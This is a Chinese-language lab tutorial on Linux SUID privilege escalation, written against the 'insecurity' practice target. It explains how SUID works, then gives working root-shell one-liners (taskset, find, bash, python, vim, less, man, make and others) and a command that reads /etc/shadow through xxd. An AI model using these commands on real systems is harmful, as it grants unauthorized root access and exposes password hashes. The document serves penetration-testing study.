Linux提权之suid提权
目录
环境:靶场insecurity
什么是suid
SUID是赋予文件的一种特殊权限,具有这种特殊权限的文件会在其执行时,使调用者暂时获得该文件属主的权限。如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。 SUID提权的原理与Linux进程的UID有关,进程在运行的时候有以下三个UID:
|
|
如果某个设置了SUID权限的程序运行后创建了shell,那么shell进程的EUID也会是这个程序文件属主的UID,如果属主为root,便是一个root shell。root shell中运行的程序的EUID也都是0,具备超级权限,于是便实现了提权。
使用chmod u+s [文件]
命令为文件配置SUID权限。
提权操作
suid提权其实就是查找具有特定suid权限的参数,再利用其参数进行提权命令调用。suid提权仅对可执行二进制文件有效。 查看本机用有suid权限的文件:
|
|
-
taskset
执行命令
taskset 1 /bin/bash -p
,成功获取到root权限,提权成功 -
xxd
-
发现itservices组具有执行权限,查看所属组用户:
cat /etc/group | grep itservices
存在用户susan,使用上一篇发现的susan密码登录
susan无法访问shadow文件,说明权限不够,使用xxd提权访问shadow文件:
xxd "/etc/shadow" | xxd -r
-
其他 常用的suid提权有
nmap
、vim
、find
、bash
、more
、less
、nano
和cp
等,但这些在靶场不具备环境- find:
find . -exec /bin/sh -p \; -quit
- bash:
bash -p
- awk:
awk 'BEGIN {system("/bin/bash")}'
- ruby:
exec "/bin/bash";
- python:
python -c 'import os; os.execl("/bin/sh","sh","-p")'
- cp:
sh -c 'cp $(which cp) .; chmod +s ./cp'
- chmod:
sh -c 'cp $(which chmod) .; chmod +s ./chmod'
- flock:
flock -u / /bin/sh -p
- vim:
1 2 3 4
vim.tiny # Press ESC key :set shell=/bin/sh :shell
- less:
1 2
less /etc/passwd !/bin/sh
- man:
1 2
man passwd !/bin/bash
- make
1 2
COMMAND=’/bin/sh -p’ make -s –eval=$’x:\n\t-‘”$COMMAND”
参考文章
- find: